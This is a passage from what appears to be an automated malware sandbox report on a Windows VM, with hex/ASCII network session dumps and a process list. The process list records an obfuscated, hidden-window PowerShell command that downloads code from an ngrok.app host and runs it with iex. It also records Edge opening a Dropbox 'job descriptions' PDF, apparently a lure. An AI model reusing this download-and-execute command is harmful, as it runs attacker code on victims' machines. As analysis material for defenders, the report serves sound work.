3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-17 11:13:47 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 67 35 69 4b 52 64 7a 56 6a 30 6d 68 65 53 67 71 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 31 35 61 35 65 61 35 37 63 32 37 30 65 61 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 65 69 75 6a 4a 42 37 43 41 4a 73 4d 6c 42 46 51 69 41 32 67 55 70 45 62 5a 56 32 2f 6b 4c 76 79 56 6d 57 68 37 2f 6e 4b 52 4e 52 30 42 59 42 51 66 69 5a 6e 4c 63 79 6d 39 64 62 56 73 68 6b 58 2f 4f 49 46 4b 57 56 70 57 79 52 32 67 4c 4f 67 5a 63 33 65 41 6a 79 74 34 6f 4f 57 65 6a 68 4c 55 4e 47 42 57 58 69 30 58 77 56 77 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: g5iKRdzVj0mheSgq.2Context: 515a5ea57c270ea3<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATeiujJB7CAJsMlBFQiA2gUpEbZV2/kLvyVmWh7/nKRNR0BYBQfiZnLcym9dbVshkX/OIFKWVpWyR2gLOgZc3eAjyt4oOWejhLUNGBWXi0XwVw
2024-12-17 11:13:47 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 67 35 69 4b 52 64 7a 56 6a 30 6d 68 65 53 67 71 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 31 35 61 35 65 61 35 37 63 32 37 30 65 61 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: g5iKRdzVj0mheSgq.3Context: 515a5ea57c270ea3<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-17 11:13:48 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-17 11:13:48 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 44 31 49 4e 4f 36 4c 48 6b 30 4b 42 30 6e 36 4b 73 4d 7a 42 32 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: D1INO6LHk0KB0n6KsMzB2A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49920	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:14:04 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 66 76 6b 37 70 64 32 47 59 45 75 6d 78 63 6f 32 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 38 32 31 34 63 36 66 32 65 64 38 39 66 66 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: fvk7pd2GYEumxco2.1Context: 28214c6f2ed89ff1
2024-12-17 11:14:04 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-17 11:14:04 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 66 76 6b 37 70 64 32 47 59 45 75 6d 78 63 6f 32 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 38 32 31 34 63 36 66 32 65 64 38 39 66 66 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 65 69 75 6a 4a 42 37 43 41 4a 73 4d 6c 42 46 51 69 41 32 67 55 70 45 62 5a 56 32 2f 6b 4c 76 79 56 6d 57 68 37 2f 6e 4b 52 4e 52 30 42 59 42 51 66 69 5a 6e 4c 63 79 6d 39 64 62 56 73 68 6b 58 2f 4f 49 46 4b 57 56 70 57 79 52 32 67 4c 4f 67 5a 63 33 65 41 6a 79 74 34 6f 4f 57 65 6a 68 4c 55 4e 47 42 57 58 69 30 58 77 56 77 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: fvk7pd2GYEumxco2.2Context: 28214c6f2ed89ff1<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATeiujJB7CAJsMlBFQiA2gUpEbZV2/kLvyVmWh7/nKRNR0BYBQfiZnLcym9dbVshkX/OIFKWVpWyR2gLOgZc3eAjyt4oOWejhLUNGBWXi0XwVw
2024-12-17 11:14:04 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 66 76 6b 37 70 64 32 47 59 45 75 6d 78 63 6f 32 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 38 32 31 34 63 36 66 32 65 64 38 39 66 66 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: fvk7pd2GYEumxco2.3Context: 28214c6f2ed89ff1<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-17 11:14:04 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-17 11:14:04 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 38 33 4a 4a 49 4c 6e 6b 58 45 4b 52 4b 64 54 34 33 34 37 64 79 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 83JJILnkXEKRKdT4347dyQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49964	3.125.209.94	443	8836	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:14:22 UTC	228	OUT	GET /metadata/a53f93d43005d4ee2fadb95063c82fef HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app Connection: Keep-Alive
2024-12-17 11:14:24 UTC	213	IN	HTTP/1.1 404 Not Found Access-Control-Allow-Origin: * Content-Length: 207 Content-Type: text/html; charset=utf-8 Date: Tue, 17 Dec 2024 11:14:23 GMT Server: Werkzeug/3.0.3 Python/3.12.8 Connection: close
2024-12-17 11:14:24 UTC	207	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49979	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:14:28 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 63 32 67 33 45 44 45 4e 4f 30 32 59 45 35 39 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 64 39 63 38 37 31 36 33 31 35 63 61 65 61 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: c2g3EDENO02YE59d.1Context: 6d9c8716315caea0
2024-12-17 11:14:28 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-17 11:14:28 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 63 32 67 33 45 44 45 4e 4f 30 32 59 45 35 39 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 64 39 63 38 37 31 36 33 31 35 63 61 65 61 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 65 69 75 6a 4a 42 37 43 41 4a 73 4d 6c 42 46 51 69 41 32 67 55 70 45 62 5a 56 32 2f 6b 4c 76 79 56 6d 57 68 37 2f 6e 4b 52 4e 52 30 42 59 42 51 66 69 5a 6e 4c 63 79 6d 39 64 62 56 73 68 6b 58 2f 4f 49 46 4b 57 56 70 57 79 52 32 67 4c 4f 67 5a 63 33 65 41 6a 79 74 34 6f 4f 57 65 6a 68 4c 55 4e 47 42 57 58 69 30 58 77 56 77 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: c2g3EDENO02YE59d.2Context: 6d9c8716315caea0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATeiujJB7CAJsMlBFQiA2gUpEbZV2/kLvyVmWh7/nKRNR0BYBQfiZnLcym9dbVshkX/OIFKWVpWyR2gLOgZc3eAjyt4oOWejhLUNGBWXi0XwVw
2024-12-17 11:14:28 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 63 32 67 33 45 44 45 4e 4f 30 32 59 45 35 39 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 64 39 63 38 37 31 36 33 31 35 63 61 65 61 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: c2g3EDENO02YE59d.3Context: 6d9c8716315caea0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-17 11:14:29 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-17 11:14:29 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 50 33 62 4d 61 41 37 73 67 30 32 76 51 67 62 38 56 45 75 4b 4f 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: P3bMaA7sg02vQgb8VEuKOA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	50037	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:14:54 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 66 6a 58 6b 63 38 58 34 36 55 61 4d 75 72 6a 74 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 65 30 61 66 36 66 38 31 30 63 33 61 31 32 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: fjXkc8X46UaMurjt.1Context: 3e0af6f810c3a121
2024-12-17 11:14:54 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-17 11:14:54 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 66 6a 58 6b 63 38 58 34 36 55 61 4d 75 72 6a 74 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 65 30 61 66 36 66 38 31 30 63 33 61 31 32 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 65 69 75 6a 4a 42 37 43 41 4a 73 4d 6c 42 46 51 69 41 32 67 55 70 45 62 5a 56 32 2f 6b 4c 76 79 56 6d 57 68 37 2f 6e 4b 52 4e 52 30 42 59 42 51 66 69 5a 6e 4c 63 79 6d 39 64 62 56 73 68 6b 58 2f 4f 49 46 4b 57 56 70 57 79 52 32 67 4c 4f 67 5a 63 33 65 41 6a 79 74 34 6f 4f 57 65 6a 68 4c 55 4e 47 42 57 58 69 30 58 77 56 77 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: fjXkc8X46UaMurjt.2Context: 3e0af6f810c3a121<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATeiujJB7CAJsMlBFQiA2gUpEbZV2/kLvyVmWh7/nKRNR0BYBQfiZnLcym9dbVshkX/OIFKWVpWyR2gLOgZc3eAjyt4oOWejhLUNGBWXi0XwVw
2024-12-17 11:14:54 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 66 6a 58 6b 63 38 58 34 36 55 61 4d 75 72 6a 74 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 65 30 61 66 36 66 38 31 30 63 33 61 31 32 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: fjXkc8X46UaMurjt.3Context: 3e0af6f810c3a121<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-17 11:14:55 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-17 11:14:55 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 70 32 53 41 59 74 74 50 36 45 4b 35 53 4e 2b 37 68 6a 54 65 44 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: p2SAYttP6EK5SN+7hjTeDg.0Payload parsing failed.

Target ID:	2
Start time:	06:13:04
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing)
Imagebase:	0x7ff65c330000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:13:04
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:13:04
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing)
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:13:20
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:13:21
Start date:	17/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	06:13:21
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	06:13:21
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2104,i,12697092255008950767,14485644108292061206,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:13:21
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	06:13:27
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6760 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:13:27
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6912 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

